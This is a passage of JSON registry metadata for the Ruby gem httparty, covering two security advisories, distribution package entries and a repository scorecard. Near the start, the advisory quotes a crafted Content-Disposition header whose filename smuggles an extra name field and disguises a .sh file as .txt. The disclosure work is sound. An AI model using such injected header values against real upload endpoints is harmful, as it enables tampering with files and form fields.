--------------------------F857UcxRc2J1zFOz--\n\n\nContent-Disposition:\n\u003e Content-Disposition: form-data; name=\"avatar\"; filename=\"overwrite_name_field_and_extension.sh\"; name=\"foo\"; dummy=\".txt\"\n\n* name fields is duplicate (avator \u0026 foo)\n* filename \u0026 extension tampering ( .txt --\u003e .sh )\n\n\n\n\n### References\n\n1. I also include a similar report that I previously reported to Firefox.\nhttps://bugzilla.mozilla.org/show_bug.cgi?id=1556711\n\n\n2. I will post some examples of frameworks that did not have problems as reference.\n\nGolang\nhttps://github.com/golang/go/blob/e0e0c8fe9881bbbfe689ad94ca5dddbb252e4233/src/mime/multipart/writer.go#L144\n\nSpring\nhttps://github.com/spring-projects/spring-framework/blob/4cc91e46b210b4e4e7ed182f93994511391b54ed/spring-web/src/main/java/org/springframework/http/ContentDisposition.java#L259-L267\n\nSymphony\nhttps://github.com/symfony/symfony/blob/123b1651c4a7e219ba59074441badfac65525efe/src/Symfony/Component/Mime/Header/ParameterizedHeader.php#L128-L133\n\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [kumagoro_alice@yahoo.co.jp](mailto:kumagoro_alice@yahoo.co.jp)\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-01-03T13:36:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://github.com/jnunemaker/httparty/security/advisories/GHSA-5pq7-52mg-hr42","https://github.com/jnunemaker/httparty/commit/cdb45a678c43e44570b4e73f84b1abeb5ec22b8e","https://github.com/jnunemaker/httparty/blob/4416141d37fd71bdba4f37589ec265f55aa446ce/lib/httparty/request/body.rb#L43","https://nvd.nist.gov/vuln/detail/CVE-2024-22049","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2024-22049.yml","https://github.com/advisories/GHSA-5pq7-52mg-hr42"],"source_kind":"github","identifiers":["GHSA-5pq7-52mg-hr42","CVE-2024-22049"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2023-01-03T14:03:15.624Z","updated_at":"2026-02-20T01:05:24.146Z","epss_percentage":0.0119,"epss_percentile":0.78504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.21.0","vulnerable_version_range":"\u003c= 0.20.0"}],"purl":"pkg:gem/httparty","statistics":{"dependent_packages_count":4792,"dependent_repos_count":64329,"downloads":439492086,"downloads_period":"total"},"affected_versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.2.10","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.20.0"],"unaffected_versions":["0.21.0","0.22.0","0.23.0","0.23.1","0.23.2","0.24.0","0.24.1","0.24.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cHE3LTUybWctaHI0Ms4AAwuQ/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","url":"https://github.com/advisories/GHSA-mgx3-27hr-mfgp","title":"HTTParty does not restrict casts of string values","description":"The httparty gem 0.9.0 and earlier for Ruby does not properly restrict casts of string values, which might allow remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) by leveraging Action Pack support for YAML type conversion, a similar vulnerability to CVE-2013-0156.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2017-10-24T18:33:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2013-1801","https://github.com/jnunemaker/httparty/commit/53a812426dd32108d6cba4272b493aa03bc8c031","https://bugzilla.redhat.com/show_bug.cgi?id=917229","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2013-1801.yml","https://support.cloud.engineyard.com/entries/22915701-january-14-2013-security-vulnerabilities-httparty-extlib-crack-nori-update-these-gems-immediately","https://web.archive.org/web/20200229101716/http://www.securityfocus.com/bid/58260","https://github.com/advisories/GHSA-mgx3-27hr-mfgp"],"source_kind":"github","identifiers":["GHSA-mgx3-27hr-mfgp","CVE-2013-1801"],"repository_url":"https://github.com/jnunemaker/httparty","blast_radius":0.0,"created_at":"2022-12-21T16:13:38.420Z","updated_at":"2025-11-22T01:05:51.232Z","epss_percentage":0.02991,"epss_percentile":0.86056,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw","packages":[{"ecosystem":"rubygems","package_name":"httparty","versions":[{"first_patched_version":"0.10.0","vulnerable_version_range":"\u003c= 0.9.0"}],"purl":"pkg:gem/httparty","statistics":{"dependent_packages_count":4792,"dependent_repos_count":64329,"downloads":439492086,"downloads_period":"total"},"affected_versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.2.10","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0"],"unaffected_versions":["0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.20.0","0.21.0","0.22.0","0.23.0","0.23.1","0.23.2","0.24.0","0.24.1","0.24.2"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW1neDMtMjdoci1tZmdw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/httparty","docker_dependents_count":482,"docker_downloads_count":652487330,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-23T16:06:51.925Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/httparty/codemeta","maintainers":[{"uuid":"604","login":"jnunemaker","name":null,"email":null,"url":null,"packages_count":67,"html_url":"https://gem.coop/profiles/jnunemaker","role":null,"created_at":"2025-10-07T20:55:56.440Z","updated_at":"2025-10-07T20:55:56.440Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/jnunemaker/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":190389,"maintainers_count":67476,"namespaces_count":0,"keywords_count":0,"github":"gem-coop","metadata":{"funded_packages_count":6507},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-04-03T06:45:05.763Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}},{"id":13605613,"name":"ruby-httparty","ecosystem":"debian","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-11T11:21:27.984Z","latest_release_published_at":"2026-02-11T11:21:27.984Z","latest_release_number":"0.16.2+dfsg1-3","last_synced_at":"2026-03-13T19:04:04.527Z","created_at":"2026-02-11T11:21:27.794Z","updated_at":"2026-03-13T19:04:04.527Z","registry_url":"https://tracker.debian.org/pkg/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":"https://packages.debian.org/buster/ruby-httparty","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.3.0","maintainer":"Debian Ruby Extras Maintainers \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper (\u003e= 11~), gem2deb, help2man, ruby-fakeweb, ruby-multi-json, ruby-multi-xml, ruby-rspec (\u003e= 3~), ruby-simplecov, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:15:09.041Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-httparty?arch=source\u0026distro=debian-10\u0026repository_url=https://packages.debian.org/buster","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"debian-10","url":"https://packages.debian.org/buster","ecosystem":"debian","default":false,"packages_count":28836,"maintainers_count":0,"namespaces_count":3,"keywords_count":915,"github":"debian","metadata":{"codename":"buster","mirror":"http://archive.debian.org/debian"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.156Z","updated_at":"2026-04-27T18:20:39.693Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-10/namespaces"}},{"id":13779035,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T13:18:42.393Z","latest_release_published_at":"2026-02-13T13:18:42.393Z","latest_release_number":"0.18.1-3","last_synced_at":"2026-03-13T23:37:34.534Z","created_at":"2026-02-13T13:18:42.246Z","updated_at":"2026-03-13T23:37:34.534Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.5.1","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-fakeweb, ruby-mime-types (\u003e= 3.0), ruby-multi-json, ruby-multi-xml, ruby-rspec (\u003e= 3~), ruby-simplecov, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T13:18:42.953Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"jammy"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-04-27T18:20:36.155Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":13530421,"name":"ruby-httparty","ecosystem":"debian","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-10T23:32:16.931Z","latest_release_published_at":"2026-02-10T23:32:16.931Z","latest_release_number":"0.18.1-2","last_synced_at":"2026-03-14T04:24:09.762Z","created_at":"2026-02-10T23:32:16.751Z","updated_at":"2026-03-14T04:24:09.763Z","registry_url":"https://tracker.debian.org/pkg/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":"https://packages.debian.org/bullseye/ruby-httparty","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.5.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-fakeweb, ruby-mime-types (\u003e= 3.0), ruby-multi-json, ruby-multi-xml, ruby-rspec (\u003e= 3~), ruby-simplecov, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:19:08.527Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-httparty?arch=source\u0026distro=debian-11\u0026repository_url=https://packages.debian.org/bullseye","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"debian-11","url":"https://packages.debian.org/bullseye","ecosystem":"debian","default":false,"packages_count":31268,"maintainers_count":0,"namespaces_count":3,"keywords_count":0,"github":"debian","metadata":{"codename":"bullseye"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.702Z","updated_at":"2026-04-27T18:20:39.352Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-11/namespaces"}},{"id":226907,"name":"httparty","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"https://github.com/jnunemaker/httparty","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":87,"first_release_published_at":"2009-07-25T18:14:00.000Z","latest_release_published_at":"2026-01-14T22:54:36.108Z","latest_release_number":"0.24.2","last_synced_at":"2026-04-29T09:47:32.577Z","created_at":"2022-04-06T01:01:37.386Z","updated_at":"2026-04-29T09:47:52.793Z","registry_url":"https://rubygems.org/gems/httparty","install_command":"gem install httparty -s https://rubygems.org","documentation_url":"http://www.rubydoc.info/gems/httparty/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports 